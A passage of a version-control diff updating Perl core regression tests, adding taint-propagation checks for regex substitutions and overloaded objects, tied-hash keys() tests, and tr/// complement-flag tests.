     is($one, 'c',      "$desc: \$1 value");
 
-    $desc = "substitution /r with replacement tainted";
+    $desc = "substitution /r with partial replacement tainted";
 
     $s = 'abcd';
     $res = $s =~ s/(.+)/xyz$TAINT/r;
@@ -630,7 +632,72 @@
     is($res, 'xyz',    "$desc: res value");
     is($one, 'abcd',   "$desc: \$1 value");
 
+    $desc = "substitution with whole replacement tainted";
+
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/$TAINTXYZ/;
+    $one = $1;
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s,  'xyz',     "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /g with whole replacement tainted";
+
+    $s = 'abcd';
+    $res = $s =~ s/(.)/$TAINTXYZ/g;
+    $one = $1;
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s,  'xyz' x 4, "$desc: s value");
+    is($res, 4,        "$desc: res value");
+    is($one, 'd',      "$desc: \$1 value");
+
+    $desc = "substitution /ge with whole replacement tainted";
+
+    $s = 'abc';
     {
+	my $i = 0;
+	my $j;
+	$res = $s =~ s{(.)}{
+		    $j = $i; # make sure code not tainted
+		    $one = $1;
+		    isnt_tainted($j, "$desc: code not tainted within /e");
+		    $i++;
+		    if ($i == 1) {
+			isnt_tainted($s,   "$desc: s not tainted loop 1");
+		    }
+		    else {
+			is_tainted($s,     "$desc: s tainted loop $i");
+		    }
+		    isnt_tainted($one, "$desc: \$1 not tainted within /e");
+		    $TAINTXYZ;
+		}ge;
+	$one = $1;
+    }
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s,  'xyz' x 3, "$desc: s value");
+    is($res, 3,        "$desc: res value");
+    is($one, 'c',      "$desc: \$1 value");
+
+    $desc = "substitution /r with whole replacement tainted";
+
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/$TAINTXYZ/r;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    is_tainted($res,   "$desc: res tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s,   'abcd',   "$desc: s value");
+    is($res, 'xyz',    "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    {
 	# now do them all again with "use re 'taint"
 
 	use re 'taint';
@@ -955,7 +1022,7 @@
         is($one, 'abcd',   "$desc: \$1 value");
     }
 
-	$desc = "use re 'taint': substitution with replacement tainted";
+	$desc = "use re 'taint': substitution with partial replacement tainted";
 
 	$s = 'abcd';
 	$res = $s =~ s/(.+)/xyz$TAINT/;
@@ -967,7 +1034,7 @@
 	is($res, 1,        "$desc: res value");
 	is($one, 'abcd',   "$desc: \$1 value");
 
-	$desc = "use re 'taint': substitution /g with replacement tainted";
+	$desc = "use re 'taint': substitution /g with partial replacement tainted";
 
 	$s = 'abcd';
 	$res = $s =~ s/(.)/x$TAINT/g;
@@ -979,7 +1046,7 @@
 	is($res, 4,        "$desc: res value");
 	is($one, 'd',      "$desc: \$1 value");
 
-	$desc = "use re 'taint': substitution /ge with replacement tainted";
+	$desc = "use re 'taint': substitution /ge with partial replacement tainted";
 
 	$s = 'abc';
 	{
@@ -1008,7 +1075,7 @@
 	is($res, 3,        "$desc: res value");
 	is($one, 'c',      "$desc: \$1 value");
 
-	$desc = "use re 'taint': substitution /r with replacement tainted";
+	$desc = "use re 'taint': substitution /r with partial replacement tainted";
 
 	$s = 'abcd';
 	$res = $s =~ s/(.+)/xyz$TAINT/r;
@@ -1020,6 +1087,71 @@
 	is($res, 'xyz',    "$desc: res value");
 	is($one, 'abcd',   "$desc: \$1 value");
 
+	$desc = "use re 'taint': substitution with whole replacement tainted";
+
+	$s = 'abcd';
+	$res = $s =~ s/(.+)/$TAINTXYZ/;
+	$one = $1;
+	is_tainted($s,     "$desc: s tainted");
+	isnt_tainted($res, "$desc: res not tainted");
+	isnt_tainted($one, "$desc: \$1 not tainted");
+	is($s,  'xyz',     "$desc: s value");
+	is($res, 1,        "$desc: res value");
+	is($one, 'abcd',   "$desc: \$1 value");
+
+	$desc = "use re 'taint': substitution /g with whole replacement tainted";
+
+	$s = 'abcd';
+	$res = $s =~ s/(.)/$TAINTXYZ/g;
+	$one = $1;
+	is_tainted($s,     "$desc: s tainted");
+	isnt_tainted($res, "$desc: res not tainted");
+	isnt_tainted($one, "$desc: \$1 not tainted");
+	is($s,  'xyz' x 4, "$desc: s value");
+	is($res, 4,        "$desc: res value");
+	is($one, 'd',      "$desc: \$1 value");
+
+	$desc = "use re 'taint': substitution /ge with whole replacement tainted";
+
+	$s = 'abc';
+	{
+	    my $i = 0;
+	    my $j;
+	    $res = $s =~ s{(.)}{
+			$j = $i; # make sure code not tainted
+			$one = $1;
+			isnt_tainted($j, "$desc: code not tainted within /e");
+			$i++;
+			if ($i == 1) {
+			    isnt_tainted($s,   "$desc: s not tainted loop 1");
+			}
+			else {
+			    is_tainted($s,     "$desc: s tainted loop $i");
+			}
+			    isnt_tainted($one, "$desc: \$1 not tainted");
+			$TAINTXYZ;
+		    }ge;
+	    $one = $1;
+	}
+	is_tainted($s,     "$desc: s tainted");
+	isnt_tainted($res, "$desc: res tainted");
+	isnt_tainted($one, "$desc: \$1 not tainted");
+	is($s,  'xyz' x 3, "$desc: s value");
+	is($res, 3,        "$desc: res value");
+	is($one, 'c',      "$desc: \$1 value");
+
+	$desc = "use re 'taint': substitution /r with whole replacement tainted";
+
+	$s = 'abcd';
+	$res = $s =~ s/(.+)/$TAINTXYZ/r;
+	$one = $1;
+	isnt_tainted($s,   "$desc: s not tainted");
+	is_tainted($res,   "$desc: res tainted");
+	isnt_tainted($one, "$desc: \$1 not tainted");
+	is($s,   'abcd',   "$desc: s value");
+	is($res, 'xyz',    "$desc: res value");
+	is($one, 'abcd',   "$desc: \$1 value");
+
         # [perl #121854] match taintedness became sticky
         # when one match has a taintess result, subseqent matches
         # using the same pattern shouldn't necessarily be tainted
@@ -1065,7 +1197,7 @@
 # Reading from a file should be tainted
 {
     ok(open my $fh, '<', $TEST) or diag("Couldn't open '$TEST': $!");
-
+    binmode $fh;
     my $block;
     sysread($fh, $block, 100);
     my $line = <$fh>;
@@ -1521,8 +1653,8 @@
 {
     # bug id 20010519.003 (#7015)
 
+    our $has_fcntl;
     BEGIN {
-	use vars qw($has_fcntl);
 	eval { require Fcntl; import Fcntl; };
 	unless ($@) {
 	    $has_fcntl = 1;
@@ -2448,7 +2580,299 @@
     isnt_tainted $b, "list assign post tainted expression b";
 }
 
+# Module::Runtime was temporarily broken between 5.27.0 and 5.27.1 because
+# ref() would fail an assertion in a tainted statement.  (No ok() neces-
+# sary since it aborts when it fails.)
+() = defined $^X && ref \$^X;
 
+# taint passing through overloading
+package OvTaint {
+    sub new { bless({ t => $_[1] }, $_[0]) }
+    use overload '""' => sub { $_[0]->{t} ? "hi".$TAINT : "hello" };
+}
+my $ovclean = OvTaint->new(0);
+my $ovtaint = OvTaint->new(1);
+isnt_tainted("$ovclean", "overload preserves cleanliness");
+is_tainted("$ovtaint", "overload preserves taint");
+
+# substitutions with overloaded replacement
+{
+    my ($desc, $s, $res, $one);
+
+    $desc = "substitution with partial replacement overloaded and clean";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/xyz$ovclean/;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'xyzhello', "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution with partial replacement overloaded and tainted";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/xyz$ovtaint/;
+    $one = $1;
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'xyzhi',    "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution with whole replacement overloaded and clean";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/$ovclean/;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'hello',    "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution with whole replacement overloaded and tainted";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/$ovtaint/;
+    $one = $1;
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'hi',       "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /e with partial replacement overloaded and clean";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/"xyz".$ovclean/e;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'xyzhello', "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /e with partial replacement overloaded and tainted";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/"xyz".$ovtaint/e;
+    $one = $1;
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'xyzhi',    "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /e with whole replacement overloaded and clean";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/$ovclean/e;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'hello',    "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /e with whole replacement overloaded and tainted";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/$ovtaint/e;
+    $one = $1;
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'hi',       "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /e with extra code and partial replacement overloaded and clean";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/(my $z++), "xyz".$ovclean/e;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'xyzhello', "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /e with extra code and partial replacement overloaded and tainted";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/(my $z++), "xyz".$ovtaint/e;
+    $one = $1;
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'xyzhi',    "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /e with extra code and whole replacement overloaded and clean";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/(my $z++), $ovclean/e;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'hello',    "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /e with extra code and whole replacement overloaded and tainted";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/(my $z++), $ovtaint/e;
+    $one = $1;
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'hi',       "$desc: s value");
+    is($res, 1,        "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /r with partial replacement overloaded and clean";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/xyz$ovclean/r;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'abcd',     "$desc: s value");
+    is($res, 'xyzhello', "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /r with partial replacement overloaded and tainted";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/xyz$ovtaint/r;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    is_tainted($res,   "$desc: res tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'abcd',     "$desc: s value");
+    is($res, 'xyzhi',  "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /r with whole replacement overloaded and clean";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/$ovclean/r;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'abcd',     "$desc: s value");
+    is($res, 'hello',  "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /r with whole replacement overloaded and tainted";
+    $s = 'abcd';
+    $res = $s =~ s/(.+)/$ovtaint/r;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    is_tainted($res,   "$desc: res tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'abcd',     "$desc: s value");
+    is($res, 'hi',     "$desc: res value");
+    is($one, 'abcd',   "$desc: \$1 value");
+
+    $desc = "substitution /g with partial replacement overloaded and clean";
+    $s = 'abcd';
+    $res = $s =~ s/(.)/x$ovclean/g;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'xhello' x 4, "$desc: s value");
+    is($res, 4,        "$desc: res value");
+    is($one, 'd',      "$desc: \$1 value");
+
+    $desc = "substitution /g with partial replacement overloaded and tainted";
+    $s = 'abcd';
+    $res = $s =~ s/(.)/x$ovtaint/g;
+    $one = $1;
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'xhi' x 4,  "$desc: s value");
+    is($res, 4,        "$desc: res value");
+    is($one, 'd',      "$desc: \$1 value");
+
+    $desc = "substitution /g with whole replacement overloaded and clean";
+    $s = 'abcd';
+    $res = $s =~ s/(.)/$ovclean/g;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'hello' x 4, "$desc: s value");
+    is($res, 4,        "$desc: res value");
+    is($one, 'd',      "$desc: \$1 value");
+
+    $desc = "substitution /g with whole replacement overloaded and tainted";
+    $s = 'abcd';
+    $res = $s =~ s/(.)/$ovtaint/g;
+    $one = $1;
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'hi' x 4,   "$desc: s value");
+    is($res, 4,        "$desc: res value");
+    is($one, 'd',      "$desc: \$1 value");
+
+    $desc = "substitution /ge with partial replacement overloaded and clean";
+    $s = 'abcd';
+    $res = $s =~ s/(.)/"x".$ovclean/ge;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'xhello' x 4, "$desc: s value");
+    is($res, 4,        "$desc: res value");
+    is($one, 'd',      "$desc: \$1 value");
+
+    $desc = "substitution /ge with partial replacement overloaded and tainted";
+    $s = 'abcd';
+    $res = $s =~ s/(.)/"x".$ovtaint/ge;
+    $one = $1;
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'xhi' x 4,  "$desc: s value");
+    is($res, 4,        "$desc: res value");
+    is($one, 'd',      "$desc: \$1 value");
+
+    $desc = "substitution /ge with whole replacement overloaded and clean";
+    $s = 'abcd';
+    $res = $s =~ s/(.)/$ovclean/ge;
+    $one = $1;
+    isnt_tainted($s,   "$desc: s not tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'hello' x 4, "$desc: s value");
+    is($res, 4,        "$desc: res value");
+    is($one, 'd',      "$desc: \$1 value");
+
+    $desc = "substitution /ge with whole replacement overloaded and tainted";
+    $s = 'abcd';
+    $res = $s =~ s/(.)/$ovtaint/ge;
+    $one = $1;
+    is_tainted($s,     "$desc: s tainted");
+    isnt_tainted($res, "$desc: res not tainted");
+    isnt_tainted($one, "$desc: \$1 not tainted");
+    is($s, 'hi' x 4,   "$desc: s value");
+    is($res, 4,        "$desc: res value");
+    is($one, 'd',      "$desc: \$1 value");
+}
+
+# RT #132385
+# It was trying to taint a boolean return from s/// (e.g. PL_sv_yes)
+# and was thus crashing with 'Modification of a read-only value'.
+
+{
+    my $s = "abcd" . $TAINT;
+    ok(!!($s =~ s/a/x/g), "RT #132385");
+}
+
 # This may bomb out with the alarm signal so keep it last
 SKIP: {
     skip "No alarm()"  unless $Config{d_alarm};

Modified: vendor/perl/dist/t/op/tie.t
===================================================================
--- vendor/perl/dist/t/op/tie.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/tie.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1517,3 +1517,71 @@
 EXPECT
 foo
 bar
+########
+# keys(%tied) in bool context without SCALAR present
+my ($f,$n) = (0,0);
+my %inner = (a =>1, b => 2, c => 3);
+sub TIEHASH  { bless \%inner, $_[0] }
+sub FIRSTKEY { $f++; my $a = scalar keys %{$_[0]}; each %{$_[0]} }
+sub NEXTKEY  { $n++; each %{$_[0]} }
+tie %h, 'main';
+my $x = !keys %h;
+print "[$x][$f][$n]\n";
+%inner = ();
+$x = !keys %h;
+print "[$x][$f][$n]\n";
+EXPECT
+[][1][0]
+[1][2][0]
+########
+# keys(%tied) in bool context with SCALAR present
+my ($f,$n, $s) = (0,0,0);
+my %inner = (a =>1, b => 2, c => 3);
+sub TIEHASH  { bless \%inner, $_[0] }
+sub FIRSTKEY { $f++; my $a = scalar keys %{$_[0]}; each %{$_[0]} }
+sub NEXTKEY  { $n++; each %{$_[0]} }
+sub SCALAR   { $s++; scalar %{$_[0]} }
+tie %h, 'main';
+my $x = !keys %h;
+print "[$x][$f][$n][$s]\n";
+%inner = ();
+$x = !keys %h;
+print "[$x][$f][$n][$s]\n";
+EXPECT
+[][0][0][1]
+[1][0][0][2]
+########
+# keys(%tied) in scalar context without SCALAR present
+my ($f,$n) = (0,0);
+my %inner = (a =>1, b => 2, c => 3);
+sub TIEHASH  { bless \%inner, $_[0] }
+sub FIRSTKEY { $f++; my $a = scalar keys %{$_[0]}; each %{$_[0]} }
+sub NEXTKEY  { $n++; each %{$_[0]} }
+tie %h, 'main';
+my $x = keys %h;
+print "[$x][$f][$n]\n";
+%inner = ();
+$x = keys %h;
+print "[$x][$f][$n]\n";
+EXPECT
+[3][1][3]
+[0][2][3]
+########
+# keys(%tied) in scalar context with SCALAR present
+# XXX the behaviour of scalar(keys(%tied)) may change - it currently
+# doesn't make use of SCALAR() if present
+my ($f,$n, $s) = (0,0,0);
+my %inner = (a =>1, b => 2, c => 3);
+sub TIEHASH  { bless \%inner, $_[0] }
+sub FIRSTKEY { $f++; my $a = scalar keys %{$_[0]}; each %{$_[0]} }
+sub NEXTKEY  { $n++; each %{$_[0]} }
+sub SCALAR   { $s++; scalar %{$_[0]} }
+tie %h, 'main';
+my $x = keys %h;
+print "[$x][$f][$n][$s]\n";
+%inner = ();
+$x = keys %h;
+print "[$x][$f][$n][$s]\n";
+EXPECT
+[3][1][3][0]
+[0][2][3][0]

Modified: vendor/perl/dist/t/op/tie_fetch_count.t
===================================================================
--- vendor/perl/dist/t/op/tie_fetch_count.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/tie_fetch_count.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,7 +9,7 @@
     set_up_inc('../lib');
 }
 
-plan (tests => 345);
+plan (tests => 343);
 
 use strict;
 use warnings;
@@ -295,7 +295,7 @@
 $dummy=sprintf"%1s",$var; check_count 'sprintf "%1s", $utf8';
 $dummy=sprintf"%.1s",$var; check_count 'sprintf "%.1s", $utf8';
 
-my @fmt = qw(B b c D d i O o p u U X x);
+my @fmt = qw(B b c D d i O o u U X x);
 
 tie $var, "main", 23;
 for (@fmt) {

Modified: vendor/perl/dist/t/op/tr.t
===================================================================
--- vendor/perl/dist/t/op/tr.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/tr.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,7 +13,7 @@
 
 use utf8;
 
-plan tests => 216;
+plan tests => 300;
 
 # Test this first before we extend the stack with other operations.
 # This caused an asan failure due to a bad write past the end of the stack.
@@ -45,6 +45,432 @@
      qr/Invalid range "\\x\{0101\}-\\x\{0100\}" in transliteration operator/,
      "UTF-8 range with min > max";
 
+
+# Test /c and variants, with all the search and replace chars being
+# non-utf8, but with both non-utf8 and utf8 strings.
+
+{
+    my $all255            = join '', map chr, 0..0xff;
+    my $all255_twice      = join '', map chr, map { ($_, $_) } 0..0xff;
+    my $all255_plus       = join '', map chr, 0..0x11f;
+    my $all255_twice_plus = join '', map chr, map { ($_, $_) } 0..0x11f;
+    my ($c, $s);
+
+
+    # length(replacement) == 0
+    # non-utf8 string
+
+    $s = $all255;
+    $c = $s =~ tr/\x40-\xbf//c;
+    is $s, $all255, "/c   ==0";
+    is $c, 0x80, "/c   ==0  count";
+
+    $s = $all255;
+    $c = $s =~ tr/\x40-\xbf//cd;
+    is $s, join('', map chr, 0x40..0xbf), "/cd  ==0";
+    is $c, 0x80, "/cd  ==0  count";
+
+    $s = $all255_twice;
+    $c = $s =~ tr/\x40-\xbf//cs;
+    is $s, join('', map chr,
+                0x00..0x3f,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0xc0..0xff,
+            ),
+        "/cs  ==0";
+    is $c, 0x100, "/cs  ==0  count";
+
+    $s = $all255_twice;
+    $c = $s =~ tr/\x40-\xbf//csd;
+    is $s, join('', map chr, (map  { ($_, $_) } 0x40..0xbf)), "/csd ==0";
+    is $c, 0x100, "/csd ==0  count";
+
+
+    # length(search) > length(replacement)
+    # non-utf8 string
+
+    $s = $all255;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x2f/c;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                0x40..0xbf,
+                0x00..0x2f,
+                ((0x2f) x 16),
+            ),
+        "/c   >";
+    is $c, 0x80, "/c   >  count";
+
+    $s = $all255;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x2f/cd;
+    is $s, join('', map chr, 0x80..0xbf, 0x40..0xbf, 0x00..0x2f),
+        "/cd  >";
+    is $c, 0x80, "/cd  >  count";
+
+    $s = $all255_twice;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x2f/cs;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x2f,
+            ),
+        "/cs  >";
+    is $c, 0x100, "/cs  >  count";
+
+    $s = $all255_twice;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x2f/csd;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x2f,
+            ),
+        "/csd >";
+    is $c, 0x100, "/csd >  count";
+
+
+    # length(search) == length(replacement)
+    # non-utf8 string
+
+    $s = $all255;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x3f/c;
+    is $s, join('', map chr, 0x80..0xbf, 0x40..0xbf, 0x00..0x3f), "/c   ==";
+    is $c, 0x80, "/c   == count";
+
+    $s = $all255;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x3f/cd;
+    is $s, join('', map chr, 0x80..0xbf, 0x40..0xbf, 0x00..0x3f), "/cd  ==";
+    is $c, 0x80, "/cd  == count";
+
+    $s = $all255_twice;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x3f/cs;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x3f,
+            ),
+        "/cs  ==";
+    is $c, 0x100, "/cs  == count";
+
+    $s = $all255_twice;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x3f/csd;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x3f,
+            ),
+        "/csd ==";
+    is $c, 0x100, "/csd == count";
+
+    # length(search) == length(replacement) - 1
+    # non-utf8 string
+
+
+    $s = $all255;
+    $c = $s =~ tr/\x40-\xbf\xf0-\xff/\x80-\xbf\x00-\x30/c;
+    is $s, join('', map chr, 0x80..0xbf, 0x40..0xbf, 0x00..0x2f, 0xf0..0xff),
+        "/c   =-";
+    is $c, 0x70, "/c   =-  count";
+
+    $s = $all255;
+    $c = $s =~ tr/\x40-\xbf\xf0-\xff/\x80-\xbf\x00-\x30/cd;
+    is $s, join('', map chr, 0x80..0xbf, 0x40..0xbf, 0x00..0x2f, 0xf0..0xff),
+        "/cd  =-";
+    is $c, 0x70, "/cd  =-  count";
+
+    $s = $all255_twice;
+    $c = $s =~ tr/\x40-\xbf\xf0-\xff/\x80-\xbf\x00-\x30/cs;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x2f,
+                (map  { ($_, $_) } 0xf0..0xff),
+            ),
+        "/cs  =-";
+    is $c, 0xe0, "/cs  =-  count";
+
+    $s = $all255_twice;
+    $c = $s =~ tr/\x40-\xbf\xf0-\xff/\x80-\xbf\x00-\x30/csd;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x2f,
+                (map  { ($_, $_) } 0xf0..0xff),
+            ),
+        "/csd =-";
+    is $c, 0xe0, "/csd =-  count";
+
+    # length(search) < length(replacement)
+    # non-utf8 string
+
+    $s = $all255;
+    $c = $s =~ tr/\x40-\xbf\xf0-\xff/\x80-\xbf\x00-\x3f/c;
+    is $s, join('', map chr, 0x80..0xbf, 0x40..0xbf, 0x00..0x2f, 0xf0..0xff),
+        "/c   <";
+    is $c, 0x70, "/c   <  count";
+
+    $s = $all255;
+    $c = $s =~ tr/\x40-\xbf\xf0-\xff/\x80-\xbf\x00-\x3f/cd;
+    is $s, join('', map chr, 0x80..0xbf, 0x40..0xbf, 0x00..0x2f, 0xf0..0xff),
+        "/cd  <";
+    is $c, 0x70, "/cd  <  count";
+
+    $s = $all255_twice;
+    $c = $s =~ tr/\x40-\xbf\xf0-\xff/\x80-\xbf\x00-\x3f/cs;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x2f,
+                (map  { ($_, $_) } 0xf0..0xff),
+            ),
+        "/cs  <";
+    is $c, 0xe0, "/cs  <  count";
+
+    $s = $all255_twice;
+    $c = $s =~ tr/\x40-\xbf\xf0-\xff/\x80-\xbf\x00-\x3f/csd;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x2f,
+                (map  { ($_, $_) } 0xf0..0xff),
+            ),
+        "/csd <";
+    is $c, 0xe0, "/csd <  count";
+
+
+    # length(replacement) == 0
+    # with some >= 0x100 utf8 chars in the string to be modified
+
+    $s = $all255_plus;
+    $c = $s =~ tr/\x40-\xbf//c;
+    is $s, $all255_plus, "/c   ==0U";
+    is $c, 0xa0, "/c   ==0U  count";
+
+    $s = $all255_plus;
+    $c = $s =~ tr/\x40-\xbf//cd;
+    is $s, join('', map chr, 0x40..0xbf), "/cd  ==0U";
+    is $c, 0xa0, "/cd  ==0U  count";
+
+    $s = $all255_twice_plus;
+    $c = $s =~ tr/\x40-\xbf//cs;
+    is $s, join('', map chr,
+                0x00..0x3f,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0xc0..0x11f,
+            ),
+        "/cs  ==0U";
+    is $c, 0x140, "/cs  ==0U  count";
+
+    $s = $all255_twice_plus;
+    $c = $s =~ tr/\x40-\xbf//csd;
+    is $s, join('', map chr, (map  { ($_, $_) } 0x40..0xbf)), "/csd ==0U";
+    is $c, 0x140, "/csd ==0U  count";
+
+    # length(search) > length(replacement)
